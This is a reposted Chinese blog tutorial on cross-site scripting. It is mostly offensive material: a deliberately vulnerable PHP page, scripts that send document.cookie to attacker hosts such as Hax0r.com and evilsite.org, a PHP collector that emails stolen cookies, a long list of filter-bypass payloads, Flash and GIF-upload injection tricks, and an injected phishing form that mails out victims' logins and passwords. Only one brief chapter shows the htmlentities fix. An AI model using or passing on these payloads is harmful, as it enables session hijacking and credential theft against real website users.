`
iwebcode
  • 浏览: 1996973 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
文章分类
社区版块
存档分类
最新评论

跨站脚本攻击XSS攻击与防范指南

 
阅读更多
跨站脚本攻击XSS攻击与防范指南

文章目录

XSS攻击与防范指南... 1

第一章、XSS的定义... 1

第二章、XSS漏洞代码... 1

第三章、利用XSS盗取cookies. 3

第四章、防范XSS漏洞... 4

第四章、XSS攻击方法... 4

第六章、利用Flash进行XSS攻击... 6

第七章、上传文件进行XSS攻击... 7

第八章、利用XSS漏洞进行钓鱼... 7



第一章、XSS的定义
从Wikipedia搜索跨站脚本,解释到跨区脚本(Cross-zone Scripting或者Cross Site Scripting)是指浏览器利用浏览器一些有漏洞的安全解决方案,这种攻击使没有权限跨站脚本在未经授权的情况下以较高的权限去执行,脚本的执行权限被客户端(Web浏览器)扩大升级了。
这些XSS跨站脚本漏洞可能是:
*网页浏览器设计缺陷使得在一定的条件下,一个站点完全信任另外一个高权限的站点(或者连个高低权限区域)并去执行高权限站点的脚本。
*网页浏览器配置错误,把不安全的网站放在浏览器高信任列表。
*信任站点(特权区域)存在跨站脚本漏洞
一般的跨站脚本攻击包含两个步骤。首先是利用跨站脚本漏洞以一个特权模式去执行攻击者构造的脚本,然后利用不安全的ActiveX控件执行恶意的行为。通常在安静模式让计算机浏览攻击者指定的网页悄悄下载安装各种恶意代码,如间谍软件、木马软件、蠕虫等。
第二章、XSS漏洞代码
打开记事本,复制下面的代码到几时本中:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value=" Search it ! " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>

然后,保存这个页面为index.html。并去复制下面的代码到记事本:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>

保存为Xss.php,关闭记事本。用firefox打开index.html,在搜索框里面输入一串字符串正常搜索,回车。然后重新在搜索框里输入<script>alert('XSS')</script>,单击发送。这时候页面会弹出一个提示窗口。这就是跨站脚本漏洞。

第三章、利用XSS盗取cookies
在一个有漏洞的页面插入下面的代码,例如一个留言本里

<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = 攻击者的网站)

用记事本新建文件: cookie.php,把下面的代码拷贝到文件里来。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>
这样是仅仅不够的,还要去等待收到电子邮件,阅读读盗取到的cookie。

第四章、防范XSS漏洞
如何修复这个漏洞呢?

我们可以使用htmlentities函数来修复这个漏洞。在替换上面的XSS.php第16行:

<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
为:

<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
还可以使用php的内置函数htmlspecialchars(),还有其他函数htmlentities()、strip_tags()等。

第四章、XSS攻击方法
利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式……

图片攻击:<IMG SRC="http://hax0r.com/Haxored.png">

或者视频flash:<EMBED SRC= http://hax0r.com/Haxored.swf

还有网站重定向:<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>

也可以:<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />

绕过过滤进一步发现XSS

事实上绕过htmlspecialchars()的过滤是非常简单的,这里有一些绕过过滤的方法:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red']mouse over

<body

<body>

click me

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>
这里并不包含了所有的攻击方法,Google是你的好朋友,可以通过它找到更多的方法。

第六章、利用Flash进行XSS攻击
Flash是用于复杂的动画,仿真和游戏开发等。非常有趣的是Flash的getURL()动作,它可以使我们的页面重定向到函数指定的页面,改函数的语法如下:

getURL(url:String, [window: String,[method:String]])
例如:getURL("http://victime.com/login.php?logout=true","_self");

该函数的各个参数为:
url: 重定向的网站url
window: 设置重定向的窗口打开方式 (_self, _blank…)
method: 请求页面的方式 GET 或者 POST

下面运用actionscrip来弹出警告窗口的方法:

getURL("javascript:alert('XSS'");

在2002年的时候,曾经公布这个函数的危险性,例如可以用下面的方式来获取浏览者的cookie:

getURL("javascript:alert(document.cookie)")

在2005年12月的时候,对getURL()进行了改进,改进了在flash文件签名中输入XSS语句从而导致永久性XSS攻击的漏洞。官方采用这种更新是为了防止再次爆发MySpace中传播Samy Xss蠕虫,Samy可以隐藏在flash中盗取cookies。
但是这样的更新就解决了XSS吗?不,目前还没有完全解决flash的XSS问题,下面的例子来说明,在flash文件中输入:

GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");

Haxored.js中的代码如下:

document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;

当然最为简单的安全解决方案就是不要在网站中使用flash。

第七章、上传文件进行XSS攻击
在画图工具里创建一个Haxored.gif图片,然后用记事本打开它,删除所有行并插入下面的内容:

GIF89a<script>alert("XSS")</script>

保存并关闭它。

然后把Haxored.gif上传到一个免费的图片网站上,再查看你的图片,XSS就产生了……不要用Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行该脚本,该攻击适用于Internet explorer浏览器。

为什么在脚本前面添加GIF89a呢?一般上传图片会这样的,在各个.gif文件中检查是否包含'GIF89a'代码。这个通过检查文件GIF89a代码对上传结果进行确认的漏洞,并没有检查图片里的恶意代码。

GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>

要了解其他图片格式的文件代码,只需要使用文件编辑器打开.jpg及其它格式的图片就可以知道了,例如一个png格式的文件:‰PNG

PNG = ‰PNG
GIF = GIF89a
JPG = &yuml;&Oslash;&yuml;à JFIF
BMP = BMF&Ouml;
为了安全不能仅仅依靠getimagesize()函数来检查图片。

第八章、利用XSS漏洞进行钓鱼
你了解钓鱼(phishing)的目的吗?你了解XSS的目的吗?

在我们的例子中,将有必要找一个存在XSS漏洞的网站,并在一个form表单里注入一个URL重定向的代码:

<p>Enter your login and password, thank:</p>

<form action="http://hax0r.com/mail.php">

<table><tr><td>Login:</td><td><input type=text length=20 name=login>

</td></tr><tr><td>Password:</td><td>

<input type=text length=20 name=password>

</td></tr></table><input type=submit value= OK >

</form>

你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是用来发送email的(mail.php):



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>

用户提交后看到这个页面会认为网页等待与超载是正常的,而不会有所怀疑什么,我相信你已经明白这个道理了?

转自:http://www.iteye.com/topic/754330

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics